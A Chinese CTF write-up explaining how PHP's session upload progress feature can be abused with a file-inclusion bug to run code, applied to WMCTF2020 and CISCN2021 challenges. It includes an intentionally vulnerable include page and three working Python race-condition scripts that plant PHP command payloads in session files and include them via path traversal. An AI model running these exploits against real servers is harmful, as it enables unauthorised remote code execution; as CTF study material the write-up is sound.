M0deration's blog.

SESSION_UPLOAD_PROGRESS的利用

字数统计: 1.5k阅读时长: 7 min
2021/05/20 Share

信安技能赛国赛初赛又遇到了这个考点了,总结一下

session默认的文件名

sess_PHPSESSID

session保存路径

  1. /var/lib/php5/sess_PHPSESSID
  2. /var/lib/php7/sess_PHPSESSID
  3. /var/lib/php/sess_PHPSESSID
  4. /tmp/sess_PHPSESSID
  5. /tmp/sessions/sess_PHPSESSED

window下session默认保存在/tmp下

linux下默认

152303-854088

与 SESSION 有关的几个 PHP 选项

152303-854088

session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

152303-854088

session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode => 0 => 0

session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

Session Upload Progress

Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

参考链接:https://www.php.net/manual/zh/session.upload-progress.php

利用 Session Upload Progress 上传 Session

152303-854088

原理:利用了当session.upload_progress.enabled开启时如果我们上传了一个和session.upload_progress.name同名的变量,也就是名字为PHP_SESSION_UPLOAD_PROGRESS的时候,且为 POST 请求的时候,他就会在$_SESSION中添加一组键值对。键名就是session.upload_progress.name。然后键值就是我们POST中上传的键值

首先需要确认session.upload_progress.enabled是为On的

一般session.upload_progress.enabled默认开启

本地起一个,然后写个上传页面

1
2
3
4
5
6
7
8
9
10
<!doctype html>
<html>
<body>
<form action="22.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

上传后抓包在自己手动加个cookie里面放个PHPSESSID就可以看到会在seesion存放的位置多一个session,如果配合文件包含我们就可以实现写入shell

看到上面的配置文件可以看到session存在位置是/var/lib/php/sessions

而且session.use_strict_mode的值是0,因为我们可以自己定义session的名字

152303-854088

getshell

这里就需要配合文件包含来包含我们可控的session来实现getshell,但是这里有个问题

  1. open_basedir是否允许我们包含session所在目录

  2. session.upload_progress.cleanup=>on默认都是

    因为session.upload_progress.cleanup功能是文件上传结束后,php将会立即清空对应session文件中的内容

所以当我们可以包含session之后我们在session虽然写入了恶意代码但是session.upload_progress.cleanup会被立马删除,这里可以使用条件竞争来实现

给出一个index.php

1
2
3
4
<?php
highlight_file(__FILE__);
include($_GET['file']);
?>

网上找了一个脚本,稍微改了一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import sys
import requests
import threading

sessid = 'ess3nce'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.254.132/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('whoami');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://192.168.254.132/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
# print(response.text)

if len(response.text)==461:
print('[+++]retry')
else:
print(len(response.text))
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

152303-854088

可以多次访问看到未被删除时的情况,然后通过包含实现利用

题目

[WMCTF2020]Make PHP Great Again

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

require_once只能包含一次,这里非预期的方式就是通过写入恶意session来并包含实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import io
import sys
import requests
import threading
import time

sessid = 'ess3nce'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
time.sleep(0.2)
session.post(
'http://184eac4e-653a-4aef-a908-cbe9d27e7a98.node3.buuoj.cn/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /var/www/html/flag.php');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.post(f'http://184eac4e-653a-4aef-a908-cbe9d27e7a98.node3.buuoj.cn/?file=../../../../../../../../tmp/sess_{sessid}')
time.sleep(0.15)
# print('[+++]retry')
# print(response.text)

if len(response.text)==730:
print('[+++]retry')
else:
print(len(response.text))
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

但是因为buu访问速度过快会被ban,所以写了延时跑出来的时间可能久一点

tips:这里的预期解其实是通过用伪协议配合多级符号链接的办法进行绕过

参考:php源码分析 require_once 绕过不能重复包含文件的限制

ciscn2021_middle_include

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];

if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?>

⽂件扫描

152303-854088

文件泄露

152303-854088

查看phpinfo,得到session_save_path

利用session.upload_progress进行文件包含

脚本爆一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://124.71.226.90:23531/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php show_source('/etc/facccbccac/ddebeebdeh/eaccbafebg/dfecfhedeg/ichfijjdgd/fl444444g');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
data = {
'cf':"../../../../../../../../var/lib/php/sessions/eifhacafec/sess_Qftm"
}
print(data)
url = "http://124.71.226.90:23531/"
response = session.post(url,data)
if len(response.text)==2037:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)
CATALOG
  1. 1. session默认的文件名
  2. 2. session保存路径
  3. 3. 与 SESSION 有关的几个 PHP 选项
  • Session Upload Progress
  • 利用 Session Upload Progress 上传 Session
  • getshell
  • 题目
    1. 1. [WMCTF2020]Make PHP Great Again
    2. 2. ciscn2021_middle_include